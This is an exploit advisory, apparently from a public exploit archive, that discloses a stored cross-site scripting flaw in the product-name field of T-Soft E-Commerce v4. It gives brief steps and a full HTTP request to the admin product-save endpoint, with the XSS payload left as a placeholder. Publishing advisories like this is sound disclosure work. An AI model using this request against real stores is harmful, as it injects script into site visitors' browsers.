T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS)

# Exploit Title: T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS)
# Exploit Author: Alperen Ergel (alpernae IG/TW)
# Web Site: https://alperenae.gitbook.io/
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux
# Category: WebApp
# Google Dork: N/A
# Date: 2022-05-10
# CVE :N/A

######## Description ########
#
# 1-) Login administrator page and add product
# 
# 2-) add product name to xss payload 
#
# 3-) Back to web site then will be work payload
#
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

POST /Y/Moduller/_Urun/Ekle/Action.php HTTP/1.1
Host: domain.com
Cookie: lang=tr; v4=on; nocache=1; [email protected]; customDashboardMapping=true; PHPSESSID=18d05ae557640c93fd9739e241850438; rest1SupportUser=0; nocache=1; last_products=12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1028
Origin: https://domain.com
Dnt: 1
Referer: https://domain.com/srv/admin/products/save-edit/index?id=12
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

task=UPDATE&Kategori=18&UrunId=12&UrunAdi={PAYLOAD}&MarkaId=0&MarkaAd=&ModelId=0&ModelAd=&Tedarikci=0&TedarikciKodu=12&StokSayisi=100
&StokBirimId=1&StokBirimAd=Adet&EnYeniUrun=0&EnCokSatilan=0&AramaKelimeleri=&HamSatis=200&AlisFiyat=100&HavaleYuzde=0&Birim=0
&KDV=18&KdvGoster=false&point_catalog=false&IndirimliUrun=true&AltUrunVar=false&YeniUrun=true&AnaSayfaUrun=true&VitrinUrun=false
&Gorunme=true&BayiUrun=false&SiparisNotuGoster=false&En=0&Boy=0&Derinlik=0&Agirlik=0&Desi=1&GarantiBilgisi=
&TeslimatBilgisi=&UrunNot=&WsUrunKodu=T12&SeoAyar=3&SeoTitle=&SeoLink=deneme-urun-1&SeoDesc=&SeoKeyw=
&Detay=%C3%9Cr%C3%BCn%20ekleme%20konusunda%20detayl%C4%B1%20bilgi%20i%C3%A7in%2C%20videomuzu%20
izleyebilirsiniz%3A%C2%A0%0A%3Cdiv%3E%3Ca%20href%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DoWlUHvi4IPw%22%3Ehttps%3A%2F%2Fwww.youtube.com%
2Fwatch%3Fv%3DoWlUHvi4IPw%3C%2Fa%3E%3C%2Fdiv%3E&AnaKategoriId=18&point=0&subscribe=0&subscribe_frequency=&subscribe_discount_rate=0
&UruneKargoUcretsiz=0&UyeUcretsizKargo=0&BayiUcretsizKargo=0&Sayisal1=0